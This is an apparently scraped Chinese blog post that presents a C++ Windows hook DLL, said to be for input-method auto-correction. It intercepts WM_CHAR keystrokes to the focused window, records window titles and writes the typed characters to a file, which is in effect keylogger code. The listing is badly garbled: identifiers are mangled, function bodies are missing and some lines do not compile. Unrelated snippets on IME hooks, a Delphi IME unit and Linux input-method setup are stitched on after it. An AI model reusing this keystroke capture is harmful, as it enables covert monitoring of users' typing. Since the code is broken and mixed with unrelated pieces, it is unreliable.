我們在實現輸入法的智慧型糾正的時候,需要獲取輸入法輸入的資訊,如何實現呢,鉤子如下
[cpp]
#include "windows.h"
#include "imm.h"
#include "stdio.h"
//#define hook_api __declspec(dllexport)
hhook g_hhook = null; //hook控制代碼
hinstance g_hhinstance = null; //程式控制程式碼
hwnd lastfocuswnd = 0;//上一次控制代碼,必須使全域性的
hwnd focuswnd; //當前視窗控制代碼,必須使全域性的
char title[256]; //獲得視窗名字
char *ftemp; //begin/end 寫到檔案裡面
char t[2]=; //捕獲單個字母
void writefile(char *lpstr)
void writtitle()
} lresult callback messageproc(int ncode,
wparam wparam,lparam lparam)
} break;
case wm_char: //截獲發向焦點視窗的鍵盤訊息
if (ch>=8 && ch<=31) //控制字元
if (strcmp(str,"n"))
} } break;
} }
lresult lresult = callnexthookex(g_hhook, ncode, wparam, lparam);
return(lresult);
} //hook_api bool installhook()
bool installhook()
//hook_api bool unhook()
bool unhook()
bool apientry dllmain( handle hmodule,
dword ul_reason_for_call,
lpvoid lpreserved
)
return true;
}
輸入法鉤子
分為1個dll工程和1個win32空工程。新建乙個dll空工程,字符集使用多位元組字符集。以下是源 shurufa.h ifndef shurufa h define shurufa h include include include include pragma comment lib,imm32...
輸入法控制
unit u ime inte ce implementation uses windows,forms,imm,sysutils,messages varstmpclassname,stmpime string 失去焦點時的控制項名稱和輸入法名稱 msghandle hhook 0 判斷當前類名是...
輸入法設定
scim 1.兩個scim圖示 使用 superuser產生乙個,可在設定裡將他從工作列隱藏 2.無法在eva中使用 sudo apt get install scim qtimm fcitx 1.安裝 設定預設 sudo apt get install fcitx sudo apt get ins...